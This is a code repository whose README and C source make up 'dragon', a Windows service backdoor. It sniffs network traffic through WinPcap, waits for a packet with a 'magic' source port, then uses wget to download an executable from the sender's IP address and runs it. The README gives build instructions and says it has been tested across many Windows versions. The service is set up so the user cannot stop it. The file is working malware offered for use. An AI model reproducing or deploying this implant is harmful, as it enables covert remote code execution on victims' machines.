├── README.md └── dragon.c /README.md: -------------------------------------------------------------------------------- 1 | dragon 2 | ====== 3 | 4 | dragon.c: a sniffing, non binding, reverse down/exec, portknocking service * Based on cd00r.c by fx@phenoelit.de and helldoor.c by drizzt@drizzt.it. 5 | 6 | Compiles as a windows service. Once installed & started, it'll listen (using winpcap) to all interfaces on the machine. If a packet comes across with the "magic source port", it'll reach out using wget to download and execute a binary based off of the src ip of the senders packet. 7 | 8 | As it stands the the "magic source port" is 12317. To change this, you can modify the option listed in the accepted source port in the function "packet_handler". 9 | 10 | To compile use MinGW's version of gcc. 11 | 12 | You will need to have installed or reference the path to the libpcap and WpdPack Libraries. 13 | 14 | i.e. 15 | 16 | gcc.exe -v -I c:\Path\To\WpdPack\Include -L c:\Path\To\WpdPack\lib dragon.c -L/usr/local/lib -lwpcap -lws2_32 -static -o dragon.exe 17 | 18 | Note this has been tested and works under both 32 and 64 bit versions of windows ranging from XP - Win8 and Server 2k3 to Server2k12. 19 | 20 | If you have any questions reach me at @jarsnah12 on twitter. 21 | -------------------------------------------------------------------------------- /dragon.c: -------------------------------------------------------------------------------- 1 | /* dragon.c: sniffing, non binding, reverse down/exec, portknocking service 2 | * Based on cd00r.c by fx@phenoelit.de and helldoor.c by drizzt@drizzt.it 3 | * 4 | * You need libpcap 5 | * 6 | * Compile: 7 | * gcc.exe dragon.c -lwpcap -lws2_32 -o dragon.exe 8 | * 9 | * To Do: 10 | * Change to have each service dispatch for each interface 11 | * Change to support IPv6 12 | * Remove Debug Logging 13 | * 14 | * By __int128 15 | */ 16 | #include 17 | #include 18 | #include "pcap.h" 19 | 20 | #define PCAP_SRC_IF_STRING "rpcap://" 21 | #define PCAP_OPENFLAG_PROMISCUOUS 1 22 | #define LOGFILE "C:\\debug.txt" 23 | 24 | SERVICE_STATUS ServiceStatus; 25 | SERVICE_STATUS_HANDLE hStatus; 26 | 27 | /* 4 bytes IP address */ 28 | typedef struct ip_address{ 29 | u_char byte1; 30 | u_char byte2; 31 | u_char byte3; 32 | u_char byte4; 33 | }ip_address; 34 | 35 | /* IPv4 header */ 36 | typedef struct ip_header{ 37 | u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits) 38 | u_char tos; // Type of service 39 | u_short tlen; // Total length 40 | u_short identification; // Identification 41 | u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits) 42 | u_char ttl; // Time to live 43 | u_char proto; // Protocol 44 | u_short crc; // Header checksum 45 | ip_address saddr; // Source address 46 | ip_address daddr; // Destination address 47 | u_int op_pad; // Option + Padding 48 | }ip_header; 49 | 50 | /* TCP header */ 51 | typedef struct tcp_header{ 52 | uint16_t sport; 53 | uint16_t dport; 54 | uint32_t seq; 55 | uint32_t ack; 56 | uint8_t data_offset; // 4 bits 57 | uint8_t flags; 58 | uint16_t window_size; 59 | uint16_t checksum; 60 | uint16_t urgent_p; 61 | } tcp_header; 62 | 63 | /* prototype of the packet handler */ 64 | void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data); 65 | 66 | /* prototype of the ServiceMain handler */ 67 | void ServiceMain(int argc, char** argv); 68 | 69 | /* prototype of the Control Handler */ 70 | void ControlHandler(DWORD request); 71 | 72 | int WriteToLog(char* str) 73 | { 74 | FILE* log; 75 | log = fopen(LOGFILE, "a+"); 76 | if (log == NULL) 77 | return -1; 78 | fprintf(log, "%s\n", str); 79 | fclose(log); 80 | return 0; 81 | } 82 | 83 | void main() 84 | { 85 | SERVICE_TABLE_ENTRY ServiceTable[2]; 86 | ServiceTable[0].lpServiceName = "Dragon"; 87 | ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; 88 | 89 | ServiceTable[1].lpServiceName = NULL; 90 | ServiceTable[1].lpServiceProc = NULL; 91 | // Start the control dispatcher thread for our service 92 | StartServiceCtrlDispatcher(ServiceTable); 93 | } 94 | 95 | void ServiceMain(int argc, char** argv) 96 | { 97 | 98 | ServiceStatus.dwServiceType = SERVICE_WIN32; 99 | ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 100 | //ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; // Uncomment this line if you want the user the ability to stop the service. 101 | ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN; // At the very least allow the service to be shut down for reboots. 102 | ServiceStatus.dwWin32ExitCode = 0; 103 | ServiceStatus.dwServiceSpecificExitCode = 0; 104 | ServiceStatus.dwCheckPoint = 0; 105 | ServiceStatus.dwWaitHint = 0; 106 | 107 | hStatus = RegisterServiceCtrlHandler("Dragon", (LPHANDLER_FUNCTION)ControlHandler); 108 | if (hStatus == (SERVICE_STATUS_HANDLE)0) 109 | { 110 | // Registering Control Handler failed 111 | return; 112 | } 113 | 114 | // We report the running status to SCM. 115 | ServiceStatus.dwCurrentState = SERVICE_RUNNING; 116 | SetServiceStatus (hStatus, &ServiceStatus); 117 | 118 | //MEMORYSTATUS memory; 119 | // The worker loop of a service 120 | while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) 121 | { 122 | //DO Magic Here 123 | pcap_if_t *alldevs; 124 | pcap_if_t *d; 125 | int inum; 126 | int i=0; 127 | pcap_t *adhandle; 128 | char errbuf[PCAP_ERRBUF_SIZE]; 129 | u_int netmask; 130 | char packet_filter[] = "tcp"; 131 | struct bpf_program fcode; 132 | 133 | /* Retrieve the device list */ 134 | if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) 135 | { 136 | char buffer[256]; 137 | sprintf(buffer, "Error in pcap_findalldevs: %s\n", errbuf); 138 | WriteToLog(buffer); 139 | exit(1); 140 | } 141 | 142 | /* Print the list */ 143 | for(d=alldevs; d; d=d->next) 144 | { 145 | char buffer[256]; 146 | sprintf(buffer, "%d. %s", ++i, d->name); 147 | WriteToLog(buffer); 148 | } 149 | 150 | if(i==0) 151 | { 152 | char buffer[256]; 153 | sprintf(buffer, "\nNo interfaces found! Make sure WinPcap is installed.\n"); 154 | WriteToLog(buffer); 155 | return; 156 | } 157 | 158 | inum = 1; // force to listen on the first listed interface. 159 | /* 160 | if(inum < 1 || inum > i) 161 | { 162 | char buffer[256]; 163 | sprintf(buffer, "\nInterface number out of range.\n"); 164 | WriteToLog(buffer); 165 | /* Free the device list */ 166 | pcap_freealldevs(alldevs); 167 | return; 168 | } 169 | */ 170 | /* Jump to the selected adapter */ 171 | 172 | for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); 173 | 174 | /* Open the adapter */ 175 | if ( (adhandle= pcap_open(d->name, // name of the device 176 | 65536, // portion of the packet to capture. 177 | // 65536 grants that the whole packet will be captured on all the MACs. 178 | PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode 179 | 1000, // read timeout 180 | NULL, // remote authentication 181 | errbuf // error buffer 182 | ) ) == NULL) 183 | { 184 | char buffer[256]; 185 | sprintf(buffer,"\nUnable to open the adapter. %s is not supported by WinPcap\n"); 186 | WriteToLog(buffer); 187 | /* Free the device list */ 188 | pcap_freealldevs(alldevs); 189 | return; 190 | } 191 | 192 | /* Check the link layer. We support only Ethernet for simplicity. */ 193 | if(pcap_datalink(adhandle) != DLT_EN10MB) 194 | { 195 | char buffer[256]; 196 | sprintf(buffer,"\nThis program works only on Ethernet networks.\n"); 197 | WriteToLog(buffer); 198 | /* Free the device list */ 199 | pcap_freealldevs(alldevs); 200 | return; 201 | } 202 | 203 | if(d->addresses != NULL) 204 | /* Retrieve the mask of the first address of the interface */ 205 | netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr; 206 | else 207 | /* If the interface is without addresses we suppose to be in a C class network */ 208 | netmask=0xffffff; 209 | 210 | 211 | //compile the filter 212 | if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 ) 213 | { 214 | char buffer[256]; 215 | sprintf(buffer,"\nUnable to compile the packet filter. Check the syntax.\n"); 216 | WriteToLog(buffer); 217 | /* Free the device list */ 218 | pcap_freealldevs(alldevs); 219 | return; 220 | } 221 | 222 | //set the filter 223 | if (pcap_setfilter(adhandle, &fcode)<0) 224 | { 225 | char buffer[256]; 226 | sprintf(buffer,"\nError setting the filter.\n"); 227 | WriteToLog(buffer); 228 | /* Free the device list */ 229 | pcap_freealldevs(alldevs); 230 | return; 231 | } 232 | char buffer[256]; 233 | sprintf(buffer, "\nlistening on %s...\n", d->description); 234 | WriteToLog(buffer); 235 | 236 | /* At this point, we don't need any more the device list. Free it */ 237 | pcap_freealldevs(alldevs); 238 | 239 | /* start the capture */ 240 | pcap_loop(adhandle, 0, packet_handler, NULL); 241 | 242 | // Magic has been completed (though we're in a loop) 243 | } 244 | return; 245 | } 246 | 247 | void ControlHandler(DWORD request) 248 | { 249 | switch(request) 250 | { 251 | case SERVICE_CONTROL_SHUTDOWN: 252 | 253 | ServiceStatus.dwWin32ExitCode = 0; 254 | ServiceStatus.dwCurrentState = SERVICE_STOPPED; 255 | SetServiceStatus (hStatus, &ServiceStatus); 256 | return; 257 | 258 | default: 259 | break; 260 | } 261 | 262 | // Report current status 263 | SetServiceStatus (hStatus, &ServiceStatus); 264 | 265 | return; 266 | } 267 | 268 | /* Callback function invoked by libpcap for every incoming packet */ 269 | void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) 270 | { 271 | struct tm *ltime; 272 | char timestr[16]; 273 | ip_header *ih; 274 | tcp_header *th; 275 | u_int ip_len; 276 | u_short sport,dport; 277 | time_t local_tv_sec; 278 | 279 | /* convert the timestamp to readable format */ 280 | local_tv_sec = header->ts.tv_sec; 281 | ltime=localtime(&local_tv_sec); 282 | strftime( timestr, sizeof timestr, "%H:%M:%S", ltime); 283 | 284 | /* retireve the position of the ip header */ 285 | ih = (ip_header *) (pkt_data + 14); //length of ethernet header 286 | 287 | if (ih->proto == 6) 288 | { 289 | 290 | /* retrieve the position of the tcp header */ 291 | ip_len = (ih->ver_ihl & 0xf) * 4; 292 | th = (tcp_header *) ((u_char*)ih + ip_len); 293 | 294 | /* convert from network byte order to host byte order */ 295 | sport = ntohs( th->sport ); 296 | dport = ntohs( th->dport ); 297 | 298 | if (sport == 12317) { //Change this if you want it to listen on a different port. 299 | 300 | char buffer[256]; 301 | sprintf(buffer,"\nRecieved Happy Magic Packet\n"); 302 | WriteToLog(buffer); 303 | 304 | // delete x.exe in case it already exsists. 305 | remove( "c:\\windows\\system32\\x64.exe" ); //Change this and the next few lines if you want to name your binary something else. 306 | 307 | char cmd[255]; 308 | sprintf(cmd, "\"c:\\windows\\system\\wget.exe http://%d.%d.%d.%d/x64.exe\"", ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4 ); 309 | system(cmd); 310 | system("c:\\windows\\system32\\x64.exe"); 311 | } 312 | } 313 | } 314 | --------------------------------------------------------------------------------